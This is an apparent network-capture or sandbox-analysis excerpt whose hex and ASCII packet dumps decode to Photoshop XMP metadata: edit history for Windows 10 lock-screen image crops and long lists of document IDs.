2022-07-20 17:09:00 UTC	4631	IN	Data Raw: 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 30 36 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e 44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 31 33 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 Data Ascii: 2017-09-25T13:06:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_500px-18226573_1920x1080.psd saved 2017-09-25T13:13:52-07:00 File WindowsMMX-Rd2_500px-18226573_1920x1080.psd opened 2017-09-25T1
2022-07-20 17:09:00 UTC	4647	IN	Data Raw: 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 32 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 33 33 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 5c 52 45 46 52 45 53 48 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 43 6f 6c 6c 65 67 65 46 6f Data Ascii: 10\Lockscreen_1920x1080_Landscape.psd saved 2017-11-01T13:29:50-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-11-01T13:33:51-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\CollegeFootball\REFRESH\Crops\MIT-NFLCollegeFo
2022-07-20 17:09:00 UTC	4655	IN	Data Raw: 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 33 30 31 34 31 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 35 3a 35 35 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 33 38 34 39 35 39 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 Data Ascii: ice\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-168301416_1920x1080.jpg saved 2017-11-17T15:55:47-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-503849593_1920x1080.jpg
2022-07-20 17:09:00 UTC	4671	IN	Data Raw: 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 35 39 31 38 32 38 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 36 3a 32 34 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 35 35 30 35 35 34 Data Ascii: ows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-125918282_1920x1080.psd saved 2017-12-14T16:24:49-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-531550554
2022-07-20 17:09:00 UTC	4687	IN	Data Raw: 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 36 36 38 35 31 35 35 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 37 3a 32 39 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 38 38 32 36 36 31 35 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 Data Ascii: CHOSEN\Crops\MIT-WinterEntFeb_GettyImages-766851557_1920x1080.jpg saved 2018-01-24T17:29:50-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Feb2018\CHOSEN\Crops\MIT-WinterEntFeb_shutterstock_588266159_1920x1080.jpg save
2022-07-20 17:09:00 UTC	4695	IN	Data Raw: 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 31 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 Data Ascii: :53-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.psd saved 2018-02-08T13:51:48-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.jpg saved
2022-07-20 17:09:00 UTC	4711	IN	Data Raw: 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 31 35 54 30 31 3a 32 31 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 55 4b 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76 65 6c 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 31 34 38 33 36 Data Ascii: dobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-03-15T01:21:32-07:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-UK\_CHOSEN\Crops\MIT-Travel-UK_GettyImages-15514836
2022-07-20 17:09:00 UTC	4727	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 33 43 42 33 35 38 43 34 44 44 31 39 39 36 35 33 39 41 39 45 32 39 39 31 38 39 31 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 37 33 34 34 46 39 30 42 32 41 41 42 44 32 43 33 32 31 41 45 32 31 37 46 43 34 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 44 44 32 38 31 33 30 44 37 45 46 36 37 34 30 38 43 44 34 35 38 42 41 46 30 30 31 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 46 46 39 35 45 42 39 32 41 44 44 42 45 31 37 35 30 32 41 31 33 41 46 34 39 44 39 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 38 35 36 34 41 43 42 32 36 34 31 45 42 38 36 42 39 33 35 38 37 34 33 43 44 32 45 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>0573CB358C4DD1996539A9E2991891AE</rdf:li> <rdf:li>0577344F90B2AABD2C321AE217FC403A</rdf:li> <rdf:li>057DD28130D7EF67408CD458BAF00149</rdf:li> <rdf:li>057FF95EB92ADDBE17502A13AF49D944</rdf:li> <rdf:li>058564ACB2641EB86B9358743CD2EE7F</rdf:li> <rd
2022-07-20 17:09:00 UTC	4735	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 30 43 31 43 37 33 35 33 43 41 30 37 41 34 44 38 34 30 30 39 41 39 31 32 39 38 42 42 46 37 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 31 46 44 46 34 38 32 32 44 45 33 39 41 36 36 41 33 43 36 32 31 32 36 33 45 36 45 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 32 33 44 33 42 35 32 39 46 42 32 44 46 36 42 35 46 30 36 31 32 45 46 46 41 37 43 42 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 33 30 39 30 38 37 38 38 38 30 33 42 38 43 30 37 36 32 32 33 30 31 33 32 31 43 35 44 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 34 45 32 30 45 44 35 43 42 41 43 36 45 32 36 32 43 37 41 36 43 44 38 39 45 38 43 45 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>0C1C7353CA07A4D84009A91298BBF788</rdf:li> <rdf:li>0C1FDF4822DE39A66A3C621263E6E95B</rdf:li> <rdf:li>0C23D3B529FB2DF6B5F0612EFFA7CB7F</rdf:li> <rdf:li>0C30908788803B8C07622301321C5DC3</rdf:li> <rdf:li>0C4E20ED5CBAC6E262C7A6CD89E8CEE5</rdf:li> <rdf:
2022-07-20 17:09:00 UTC	4751	IN	Data Raw: 41 44 32 32 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 31 36 46 35 30 37 36 31 34 45 32 35 38 33 38 30 46 38 43 33 39 35 31 44 34 46 32 44 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 32 43 37 37 43 45 38 38 38 30 43 36 30 33 39 43 42 30 43 39 43 36 43 39 31 42 31 37 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 34 45 42 37 43 37 31 39 39 46 45 37 34 41 35 39 32 46 38 36 43 30 41 31 38 42 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 43 33 42 37 33 43 35 36 42 46 42 33 39 36 39 39 42 46 45 43 39 44 46 30 46 31 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 35 35 42 39 45 39 37 39 36 46 32 38 33 36 38 42 37 34 39 34 30 44 30 43 33 46 41 36 38 Data Ascii: AD22E2</rdf:li> <rdf:li>1916F507614E258380F8C3951D4F2DE7</rdf:li> <rdf:li>192C77CE8880C6039CB0C9C6C91B173D</rdf:li> <rdf:li>19334EB7C7199FE74A592F86C0A18B1C</rdf:li> <rdf:li>1933C3B73C56BFB39699BFEC9DF0F1B6</rdf:li> <rdf:li>1955B9E9796F28368B74940D0C3FA68
2022-07-20 17:09:00 UTC	4767	IN	Data Raw: 30 45 34 35 43 44 45 35 41 30 31 41 43 35 35 32 39 38 34 32 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 31 34 41 34 32 32 32 41 31 37 32 34 37 32 34 33 46 31 38 31 35 46 38 42 31 44 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 36 32 45 33 46 34 36 36 46 32 37 30 36 37 31 34 45 44 37 45 38 37 44 44 46 38 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 42 46 36 31 39 46 33 45 36 38 45 37 38 30 39 46 35 34 35 42 38 46 45 34 41 44 42 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 32 43 41 31 34 39 41 33 32 31 36 42 43 42 33 38 39 39 31 41 42 37 42 34 34 35 35 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 35 44 37 44 45 45 38 31 42 42 35 30 34 Data Ascii: 0E45CDE5A01AC552984211</rdf:li> <rdf:li>27114A4222A17247243F1815F8B1D351</rdf:li> <rdf:li>27162E3F466F2706714ED7E87DDF85D0</rdf:li> <rdf:li>271BF619F3E68E7809F545B8FE4ADBFC</rdf:li> <rdf:li>272CA149A3216BCB38991AB7B4455B39</rdf:li> <rdf:li>275D7DEE81BB504
2022-07-20 17:09:00 UTC	4774	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 35 45 34 38 33 42 32 46 31 34 33 37 36 37 33 43 37 39 31 41 44 45 39 39 41 45 43 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 42 37 32 43 32 35 37 43 35 35 30 31 37 38 45 41 37 33 41 38 34 44 38 31 42 45 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 39 45 42 35 43 39 32 42 32 43 35 38 36 33 36 46 34 32 43 33 42 46 43 45 37 35 43 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 46 31 33 36 33 35 45 38 33 46 32 43 44 37 38 31 38 34 44 38 42 41 37 37 39 41 34 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 45 31 36 31 41 32 39 44 45 45 35 32 41 45 33 32 30 45 38 35 37 31 32 45 37 41 46 38 44 34 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>2CC5E483B2F1437673C791ADE99AEC49</rdf:li> <rdf:li>2CCB72C257C550178EA73A84D81BE6C4</rdf:li> <rdf:li>2CD9EB5C92B2C58636F42C3BFCE75C10</rdf:li> <rdf:li>2CDF13635E83F2CD78184D8BA779A475</rdf:li> <rdf:li>2CE161A29DEE52AE320E85712E7AF8D4</rdf:
2022-07-20 17:09:00 UTC	4790	IN	Data Raw: 42 33 31 30 39 38 31 41 30 44 36 45 33 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 37 41 38 39 36 34 42 41 42 37 41 45 30 39 36 36 45 34 44 37 35 35 39 32 35 45 46 36 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 30 32 43 43 45 35 42 43 39 30 37 39 32 33 41 42 36 34 34 42 37 41 45 39 33 45 44 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 32 46 35 38 35 31 42 33 42 38 31 38 35 34 37 39 34 37 34 32 39 32 33 46 43 41 37 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 36 41 43 44 46 38 34 41 38 30 43 37 30 45 44 41 30 36 46 39 31 41 43 34 31 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 43 30 38 34 35 35 35 35 37 33 31 33 41 35 36 30 35 34 Data Ascii: B310981A0D6E302</rdf:li> <rdf:li>3A7A8964BAB7AE0966E4D755925EF638</rdf:li> <rdf:li>3A802CCE5BC907923AB644B7AE93ED53</rdf:li> <rdf:li>3A82F5851B3B81854794742923FCA7C8</rdf:li> <rdf:li>3A846ACDF84A80C70EDA06F91AC4197D</rdf:li> <rdf:li>3A84C08455557313A56054
2022-07-20 17:09:00 UTC	4806	IN	Data Raw: 37 30 41 41 38 45 39 45 44 31 31 30 30 36 37 32 36 38 34 36 33 33 44 30 36 41 43 43 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 31 38 45 35 44 35 36 36 30 35 31 43 46 43 33 39 38 31 30 44 35 42 36 37 41 42 46 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 33 45 35 41 39 32 36 44 41 37 33 45 37 39 37 45 36 42 32 30 45 37 44 36 34 38 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 42 46 45 41 46 30 31 38 32 41 38 38 46 45 43 42 44 36 44 35 36 41 39 30 32 41 37 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 31 41 38 33 37 43 44 45 33 41 30 44 43 45 38 31 37 46 31 36 43 31 33 34 38 36 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 34 45 32 Data Ascii: 70AA8E9ED1100672684633D06ACC808</rdf:li> <rdf:li>4718E5D566051CFC39810D5B67ABFD14</rdf:li> <rdf:li>4723E5A926DA73E797E6B20E7D648844</rdf:li> <rdf:li>472BFEAF0182A88FECBD6D56A902A7B3</rdf:li> <rdf:li>4731A837CDE3A0DCE817F16C134868C8</rdf:li> <rdf:li>4734E2
2022-07-20 17:09:00 UTC	4814	IN	Data Raw: 30 31 35 39 30 33 31 33 30 33 34 33 30 44 36 46 35 39 46 46 32 44 38 41 43 30 33 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 31 32 32 37 36 41 32 33 32 42 31 37 33 45 30 35 38 46 43 39 45 31 34 36 37 35 42 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 41 44 44 45 39 38 33 45 45 43 30 31 32 38 44 41 36 32 38 30 34 42 34 34 37 35 38 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 39 31 41 43 44 31 44 35 35 30 43 34 46 45 36 38 37 46 36 44 43 30 45 34 45 43 44 33 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 41 36 35 45 38 34 42 45 45 37 36 43 46 35 31 44 37 46 37 38 41 36 39 36 37 31 43 31 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 34 31 44 31 37 Data Ascii: 0159031303430D6F59FF2D8AC03F5</rdf:li> <rdf:li>4D812276A232B173E058FC9E14675BD9</rdf:li> <rdf:li>4D8ADDE983EEC0128DA62804B447589C</rdf:li> <rdf:li>4D91ACD1D550C4FE687F6DC0E4ECD357</rdf:li> <rdf:li>4DA65E84BEE76CF51D7F78A69671C19A</rdf:li> <rdf:li>4DB41D17
2022-07-20 17:09:00 UTC	4830	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 45 38 45 30 44 32 35 34 41 36 45 34 33 44 38 46 43 41 42 36 34 43 42 39 37 36 31 32 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 46 35 38 39 39 30 35 44 43 34 43 44 34 30 37 39 38 33 41 34 41 39 45 34 30 44 39 46 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 30 46 31 36 31 32 39 35 43 33 37 38 39 44 35 45 41 30 35 44 37 38 36 42 30 38 42 45 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 35 35 42 37 42 41 46 39 36 36 35 44 41 34 42 37 41 44 45 44 36 34 41 30 41 31 32 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 37 35 45 37 43 46 33 44 44 45 35 35 39 38 41 33 43 37 33 43 31 34 44 30 45 33 39 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: :li> <rdf:li>5AE8E0D254A6E43D8FCAB64CB97612F4</rdf:li> <rdf:li>5AF589905DC4CD407983A4A9E40D9FEE</rdf:li> <rdf:li>5B0F161295C3789D5EA05D786B08BE55</rdf:li> <rdf:li>5B155B7BAF9665DA4B7ADED64A0A125D</rdf:li> <rdf:li>5B175E7CF3DDE5598A3C73C14D0E390E</rdf:li>
2022-07-20 17:09:00 UTC	4846	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 36 39 37 36 46 31 35 46 46 44 42 31 46 46 39 37 42 33 34 43 38 35 33 35 36 42 37 36 32 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 37 44 43 32 38 34 31 35 41 36 46 37 46 35 35 38 35 44 45 35 31 41 38 45 36 44 35 37 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 38 31 30 43 35 38 39 45 33 46 32 46 35 38 42 35 44 45 38 41 33 31 38 43 30 44 35 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 32 38 30 46 45 44 30 32 34 33 37 30 35 44 46 36 46 32 32 41 37 38 43 42 35 30 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 39 37 31 31 31 42 45 30 33 36 38 35 42 45 36 38 32 31 33 30 46 39 31 33 32 35 34 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>6976F15FFDB1FF97B34C85356B7625D8</rdf:li> <rdf:li>697DC28415A6F7F5585DE51A8E6D5713</rdf:li> <rdf:li>69810C589E3F2F58B5DE8A318C0D5A0E</rdf:li> <rdf:li>699280FED0243705DF6F22A78CB50A0E</rdf:li> <rdf:li>69997111BE03685BE682130F91325479</rdf:li> <rdf:
2022-07-20 17:09:00 UTC	4854	IN	Data Raw: 64 66 3a 6c 69 3e 37 30 33 34 31 36 41 39 45 45 30 30 39 34 42 44 41 46 42 36 43 38 46 42 32 31 41 37 32 32 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 30 41 38 37 42 42 42 31 36 35 38 38 33 35 43 43 41 38 42 37 41 43 30 43 45 31 33 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 42 44 46 30 41 31 36 34 45 36 46 30 44 32 37 41 30 44 37 31 31 37 33 43 32 38 41 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 37 37 42 34 36 38 31 42 34 45 32 38 36 38 39 46 36 41 32 41 31 36 31 30 36 43 45 46 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 37 42 44 38 31 38 42 44 34 44 46 45 31 38 37 30 38 46 41 38 39 37 34 44 46 41 36 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>703416A9EE0094BDAFB6C8FB21A7223D</rdf:li> <rdf:li>7060A87BBB1658835CCA8B7AC0CE13ED</rdf:li> <rdf:li>706BDF0A164E6F0D27A0D71173C28A00</rdf:li> <rdf:li>7077B4681B4E28689F6A2A16106CEF0E</rdf:li> <rdf:li>7097BD818BD4DFE18708FA8974DFA679</rdf:li> <rdf:li
2022-07-20 17:09:00 UTC	4870	IN	Data Raw: 36 44 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 43 36 33 38 45 33 42 38 36 46 33 33 39 31 32 43 43 42 42 35 43 45 34 45 34 33 42 35 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 44 42 45 41 34 37 41 36 45 42 43 34 32 34 39 35 31 33 38 46 39 36 46 31 44 46 42 43 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 45 44 38 33 38 32 41 31 41 36 31 45 38 43 45 44 41 34 45 37 41 44 38 46 31 32 39 44 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 30 38 33 35 46 43 34 43 37 45 30 36 45 46 31 33 41 36 30 46 45 45 39 43 37 39 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 36 32 31 37 33 46 35 43 31 33 32 31 30 33 43 30 31 38 32 32 43 37 32 43 41 46 37 44 42 3c Data Ascii: 6D69</rdf:li> <rdf:li>7EC638E3B86F33912CCBB5CE4E43B528</rdf:li> <rdf:li>7EDBEA47A6EBC42495138F96F1DFBC81</rdf:li> <rdf:li>7EED8382A1A61E8CEDA4E7AD8F129DF0</rdf:li> <rdf:li>7EF0835FC4C7E06EF13A60FEE9C791CA</rdf:li> <rdf:li>7EF62173F5C132103C01822C72CAF7DB<
